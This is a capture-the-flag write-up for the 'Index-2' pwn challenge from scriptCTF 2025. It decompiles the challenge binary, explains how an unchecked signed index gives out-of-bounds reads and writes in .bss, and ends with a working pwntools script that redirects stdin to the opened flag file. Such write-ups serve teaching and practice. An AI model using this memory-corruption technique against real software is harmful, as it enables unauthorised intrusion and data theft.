scriptCTF 2025

Index-2 – Pwn Challenge Writeup | scriptCTF 2025

Hey exploiters — time to exploit another binary. This write-up covers Index-2 from ScriptCTF 2025 (Pwn), where a polite little menu hides a deterministic data-only leak. We’ll walk through the 0x539 “loader,” the PIE-stable offset into .bss, and how a single %s turns into a clean flag exfil—no ROP required.

1. First look: running and poking

Before cracking it open, let’s just run it and see it in action.

How to run ??

Use the provided loader/libc

./ld-linux-x86-64.so.2 --library-path . ./index-2

You’re greeted by a tight menu loop:

1. Store data
2. Read data
3. Print flag
4. Exit

Option 1 — Store data

1
Index: 0
Data: KS HackZone

Prompts for an index, then enter a short line of data, and returns to the menu.

Option 2 — Read data

2
Index: 0
Data: KS HackZone

Prompts for an index and prints the stored string at that slot as:Data:

Option 3 — Print flag

  3
Do you want the flag?
yes
You really thought I would give you the flag?

Asks a yes/no; yes gets teased, no says “Okay, then!”, anything else is echoed as invalid.

Option 4 — Exit

  4
Bye!

2. Analysis with Cutter

Before going deep, here’s the quick “dashboard snapshot” from Cutter so we know what we’re dealing with:

  • ELF64, dynamically linked, PIE: true, NX: true, Canary: true, RELRO: Full
  • Linked against libc.so.6 (glibc 2.34 per imports), compiled with GCC (Debian 14.2.0–19)
  • Symbols are present (not stripped)

main function

  undefined8 main(void)
{
    int32_t iVar1;
    int64_t in_FS_OFFSET;
    uint32_t var_7ch;
    char *str;
    int64_t var_10h;
    
    var_10h = *(int64_t *)(in_FS_OFFSET + 0x28);
    init();
    do {
        while( true ) {
            menu();
            fgets(&str, 100, _stdin);
            iVar1 = atoi(&str);
            if (iVar1 < 5) break;
            if (iVar1 == 0x539) {
                _f = fopen("flag.txt", data.000020c6);
            }
        }
    // switch table (5 cases) at 0x20d4
        switch(iVar1) {
        case 0:
            printf("Invalid choice: %s", &str);
            break;
        case 1:
            store_data();
            break;
        case 2:
            read_data();
            break;
        case 3:
            print_flag();
            break;
        case 4:
            puts("Bye!");
            if (var_10h == *(int64_t *)(in_FS_OFFSET + 0x28)) {
                return 0;
            }
    // WARNING: Subroutine does not return
            __stack_chk_fail();
        }
    } while( true );
}
  • Calls init() to disable buffering on _stdin/_stdout/_stderr, making I/O immediate and line-oriented.
  • Prints the menu and reads a full line with fgets(&str, 100, _stdin).
  • Parses that line with atoi(&str) into iVar1.
  • If iVar1 < 5, execution breaks to the switch (valid menu range 0..4).
  • If iVar1 == 0x539 (1337), runs the hidden loader: _f = fopen("flag.txt", "r").
  • If iVar1 >= 5 and not 0x539, the input is ignored and the loop reprints the menu.
  • Dispatch uses the jump table at 0x20d4.
  • Case 0: printf("Invalid choice: %s", &str) — echoes the exact line just read; any non-numeric line lands here because atoi returns 0.
  • Case 1: store_data().
  • Case 2: read_data().
  • Case 3: print_flag() (yes/no prompt; never reveals the flag).
  • Case 4: puts("Bye!") and return.
  • Exploit-relevant facts: the 1337 loader deterministically opens flag.txt into global _f; each loop reads a line from _stdin via fgets(&str, 100, _stdin); case 0 echoes that line with %s.
  • Combining with primitives from store_data/read_data, we will repoint _stdin to _f so the next menu read consumes a line from the flag file, and case 0 echoes the flag verbatim.

store_data function

  void store_data(void)
{
    int64_t in_FS_OFFSET;
    FILE *stream;
    int64_t canary;
    
    canary = *(int64_t *)(in_FS_OFFSET + 0x28);
    printf("Index: ");
    __isoc99_scanf(data.00002041, &stream);
    getchar();
    printf("Data: ");
    fgets(nums + (int64_t)(int32_t)stream * 8, 8, _stdin);
    if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
        __stack_chk_fail();
    }
    return;
}
  • Reads an unbounded signed index with scanf("%d", &stream); negative values are accepted.
  • Computes the destination as nums + (int64_t)(int32_t)stream * 8; i.e., an 8-byte stride anchored at nums.
  • Calls fgets(dst, 8, _stdin) which writes up to 7 controllable bytes then appends a NUL terminator.
  • This is a 7-byte arbitrary write primitive at addresses nums + 8*index across .bss.
  • Practical mapping (PIE-stable via indices): _stdin sits 6 strides before nums (index -6), _f sits 8 strides after nums (index +8).
  • To write exactly 7 bytes, send 7 characters; fgets will stop due to the size limit and append the trailing \x00 automatically.

read_data function

  // WARNING: Variable defined which should be unmapped: var_ch

void read_data(void)
{
    int64_t var_ch;
    
    printf("Index: ");
    __isoc99_scanf(data.00002041, &var_ch);
    getchar();
    printf("Data: %s", nums + (int64_t)(int32_t)var_ch * 8);
    return;
}
  • Reads an unbounded signed index with scanf("%d", &var_ch); negative values are accepted.
  • Computes the source as nums + (int64_t)(int32_t)var_ch * 8, i.e., 8-byte stride anchored at nums.
  • Prints with printf("Data: %s", …), so it treats memory at that address as a C-string and stops at the first \x00.
  • This is an arbitrary C-string read primitive at nums + 8*index; useful for leaking low bytes of pointers or data in .bss.
  • Practical indices: _f is at index +8 (leaks low bytes of the FILE* for flag.txt), _stdin is at index -6 (shows current stdin pointer’s low bytes).
  • Limitation: if the first byte at the chosen address is \x00, nothing is printed; if a NUL appears early, the leak is truncated.
  • No upper bound is enforced on the printed length beyond encountering a NUL, so it will print until a zero byte is found.

print_flag function

  void print_flag(void)
{
    int32_t iVar1;
    int64_t in_FS_OFFSET;
    char *s1;
    int64_t canary;
    
    canary = *(int64_t *)(in_FS_OFFSET + 0x28);
    puts("Do you want the flag?");
    fgets(&s1, 0x40, _stdin);
    iVar1 = strcmp(&s1, "yes\n");
    if (iVar1 == 0) {
        puts("You really thought I would give you the flag?");
    } else {
        iVar1 = strcmp(&s1, data.0000209e);
        if (iVar1 == 0) {
            puts("Okay, then!");
        } else {
            printf("Invalid choice: %s", &s1);
        }
    }
    if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
        __stack_chk_fail();
    }
    return;
}

Nothing interesting, just a decoy !!!

menu function

  void menu(void)
{
    puts("1. Store data");
    puts("2. Read data");
    puts("3. Print flag");
    puts("4. Exit");
    return;
}

Nothing much… Just prints the four menu options; no input handling, no state changes.

3. Exploiting to get the FLAG

Primitives we have

  • Write: store_data does fgets(dst, 8, _stdin) to dst = nums + 8*index → at most 7 controllable bytes then a NUL.
  • Read: read_data prints printf("Data: %s", nums + 8*index) → C-string read from any nums + 8*index.
  • Loader: entering 1337 sets global _f = fopen("flag.txt","r").
  • Printer: menu case 0 echoes the last input line as Invalid choice: %s.

PIE-stable layout (relative to nums at 0x4060)

  • &_stdin at 0x4030 → index −6.
  • &_f at 0x40a0 → index +8.

Idea

  • Leak the low bytes of &_f with read_data at index +8.
  • Overwrite _stdin with those bytes using store_data at index −6 (7-byte write; the 8th byte becomes \x00), producing a valid canonical pointer.
  • Next loop iteration reads the menu line through _stdin == _f, so fgets(&str, 100, _stdin) pulls a line from flag.txt.
  • atoi(str) on a typical flag returns 0, dropping into case 0, which echoes that line. Flag exfil complete.

Step-by-step

  • Send 1337 to trigger the hidden loader and open flag.txt into _f.
  • Use read_data with index 8 to leak bytes from &_f. %s stops at the first \x00, so you’ll usually get 5–7 bytes; 6 in our run.
  • Use store_data with index -6 to write exactly 7 bytes into _stdin. Left-pad the leak with \x00 to length 7 if needed; fgets(...,8,…) appends the 8th NUL, yielding a valid 8-byte pointer.
  • Allow the loop to continue. The program calls fgets(&str, 100, _stdin); since _stdin == _f, it reads a line from the flag file.
  • The line is non-numeric, so atoi(str) == 0 and the program takes case 0, printing Invalid choice: <flag>.

Minimal exploit using PWNTools

 from pwn import *

io = remote("kshackzone.com", 10282) ## replace with your host and port

def menu_read(): io.recvuntil(b"4. Exit\n")
def choose(x):  io.sendline(str(x).encode())

menu_read()
choose(1337)            # _f = fopen("flag.txt","r")
menu_read()

choose(2); io.recvuntil(b"Index: "); io.sendline(b"8")     # read_data(&f)
io.recvuntil(b"Data: ")
f_low = io.recvuntil(b"1. Store data", drop=True)          # leak up to first NUL
menu_read()

payload7 = f_low.ljust(7, b"\x00")                         # 7 bytes; 8th will be NUL
choose(1); io.recvuntil(b"Index: "); io.sendline(b"-6")    # store_data(&_stdin)
io.recvuntil(b"Data: "); io.send(payload7)                 # no newline
menu_read()

io.recvuntil(b"Invalid choice: ")                          # next loop reads from flag
flag = io.recvline().strip()
print(flag.decode()) 

4. Final Thoughts

Index-2 was an intermediate PWN challenge: no ROP, no GOT clobber, but it rewarded careful static analysis and precise I/O control. The core path is simple once you see it — use the hidden 1337 to open flag.txt into _f, leverage read_data for a C-string leak of _f’s low bytes, then abuse store_data’s 7-byte write (at 8-byte stride) to repoint _stdin to _f. On the next loop the menu read comes from the flag file, atoi collapses it to 0, and case 0 dutifully echoes the line as Invalid choice: . Full RELRO, NX, and canaries stay on the sidelines while pointer plumbing in .bss does all the work.

I focused on the why behind each step — probing, static analysis, and the data-only pivot — so you’re not just copy-pasting an exploit but genuinely understanding it. Hope this clarified the thought process and taught you a couple of new tricks.

Happy pwning — see you in the next writeup! 🏴‍☠️

0 people love this